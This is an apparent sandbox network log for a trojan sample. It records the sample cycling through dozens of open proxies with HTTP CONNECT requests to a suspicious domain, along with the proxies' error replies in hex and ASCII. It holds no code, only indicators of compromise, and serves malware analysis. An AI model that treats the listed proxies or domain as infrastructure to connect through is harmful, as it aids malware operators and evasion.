Feb 23, 2024 14:28:38.975482941 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1579	192.168.2.8	54543	8.219.97.248	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.722701073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.054527044 CET	743	IN	HTTP/1.1 502 Bad Gateway Server: Tengine Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html Content-Length: 596 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 20 53 6f 72 72 79 20 66 6f 72 20 74 68 65 20 69 6e 63 6f 6e 76 65 6e 69 65 6e 63 65 2e 3c 62 72 2f 3e 0d 0a 50 6c 65 61 73 65 20 72 65 70 6f 72 74 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 2e 3c 62 72 2f 3e 0d 0a 54 68 61 6e 6b 20 79 6f 75 20 76 65 72 79 20 6d 75 63 68 21 3c 2f 70 3e 0d 0a 3c 74 61 62 6c 65 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 55 52 4c 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 74 74 70 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 53 65 72 76 65 72 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 69 7a 74 34 6e 66 33 77 73 39 30 37 62 63 79 6e 6a 71 6e 77 77 38 7a 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 44 61 74 65 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 32 30 32 34 2f 30 32 2f 32 33 20 32 31 3a 32 38 3a 33 38 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center> Sorry for the inconvenience.<br/>Please report this message and include the following information to us.<br/>Thank you very much!</p><table><tr><td>URL:</td><td>http://heygirlisheeverythingyouwantedinaman.com</td></tr><tr><td>Server:</td><td>izt4nf3ws907bcynjqnww8z</td></tr><tr><td>Date:</td><td>2024/02/23 21:28:38</td></tr></table><hr/>Powered by Tengine<hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1580	192.168.2.8	54447	98.162.25.7	31653	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.723501921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1581	192.168.2.8	50639	103.116.174.125	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.725274086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1582	192.168.2.8	50858	141.94.174.6	35072	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.728773117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.254882097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.858709097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1583	192.168.2.8	50819	161.97.163.52	29631	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.737390995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.882514000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.992089033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:50.991719961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:02.991574049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:15.085329056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:27.085323095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1584	192.168.2.8	54586	188.166.197.129	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.737682104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1585	192.168.2.8	54491	8.209.255.13	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.738087893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.877666950 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1586	192.168.2.8	54614	106.105.218.244	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.739315033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1587	192.168.2.8	54455	117.160.250.133	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.739523888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.730587006 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 13:28:39 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1588	192.168.2.8	54610	120.77.148.138	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.741638899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.946701050 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.3 Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.3</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1589	192.168.2.8	54643	175.183.82.221	8193	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.741805077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1590	192.168.2.8	54653	171.248.222.60	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.757678986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1591	192.168.2.8	54519	36.67.77.41	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.775032997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1592	192.168.2.8	54400	20.193.135.50	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.779082060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1593	192.168.2.8	54726	178.128.157.114	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.785213947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1594	192.168.2.8	54729	178.128.157.114	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.786305904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1595	192.168.2.8	54731	178.128.157.114	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.787444115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1596	192.168.2.8	54732	178.128.157.114	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.788315058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1597	192.168.2.8	54694	184.185.2.12	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.814944983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1598	192.168.2.8	54688	103.216.50.225	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.815181017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.164575100 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1599	192.168.2.8	50897	45.125.222.125	47239	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.864181995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1600	192.168.2.8	54449	162.241.46.54	46849	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.865371943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.898175955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.992216110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1601	192.168.2.8	50789	107.148.201.157	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.879874945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.882586956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.992089033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1602	192.168.2.8	51018	5.252.23.220	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.879986048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1603	192.168.2.8	53649	104.238.111.107	5452	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.919589043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.397908926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.858772993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1604	192.168.2.8	54768	104.16.109.213	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.923624039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.011363983 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1605	192.168.2.8	54804	104.16.143.127	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.955126047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.042674065 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1606	192.168.2.8	54811	104.20.198.49	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.958605051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.049360037 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1607	192.168.2.8	54710	85.14.8.226	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.972600937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1608	192.168.2.8	54822	104.20.75.31	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:38.972795010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.061058044 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1609	192.168.2.8	54746	104.129.199.34	8800	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.000703096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.156003952 CET	125	IN	HTTP/1.1 407 Unauthorized Server: Zscaler/6.2 Cache-control: no-cache Content-Length: 0 Proxy-Authenticate: Negotiate

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1610	192.168.2.8	54448	115.171.217.48	7891	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

